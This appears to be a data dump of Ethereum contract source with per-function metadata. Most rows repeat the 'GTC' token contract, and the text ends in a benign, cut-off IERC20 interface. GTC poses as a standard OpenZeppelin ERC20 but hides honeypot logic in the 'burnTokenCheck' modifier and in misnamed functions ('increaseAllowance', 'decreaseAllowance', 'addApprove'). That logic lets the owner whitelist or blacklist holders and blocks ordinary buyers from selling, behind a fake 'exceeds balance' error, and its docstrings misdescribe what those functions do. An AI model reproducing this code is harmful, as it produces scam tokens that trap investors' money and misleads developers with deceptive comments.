* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | _approveCheck | function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
| /**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
10678,
11270
]
} | 8,902 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | _setupDecimals | function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
| /**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
12989,
13084
]
} | 8,903 |
GTC | GTC.sol | 0x922d24925acb720c381df7d90873543ea3cbdb4a | Solidity | GTC | contract GTC is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | _beforeTokenTransfer | function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
| /**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1b4bb1c70dca508bdab845cdf895498b32a3d14f1c52e308878b4ffa66bd95a1 | {
"func_code_index": [
13682,
13779
]
} | 8,904 |
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | totalSupply | function totalSupply() external view returns (uint256);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | MIT | ipfs://6b31bd4a0f1cd78125b1273f1afb48d0b7ccf68b07f7c49d60d884af66f19277 | {
"func_code_index": [
94,
154
]
} | 8,905 |
||
TouhouInu | TouhouInu.sol | 0x0aeb86577fedd4af47b7f05572394b729633fecf | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
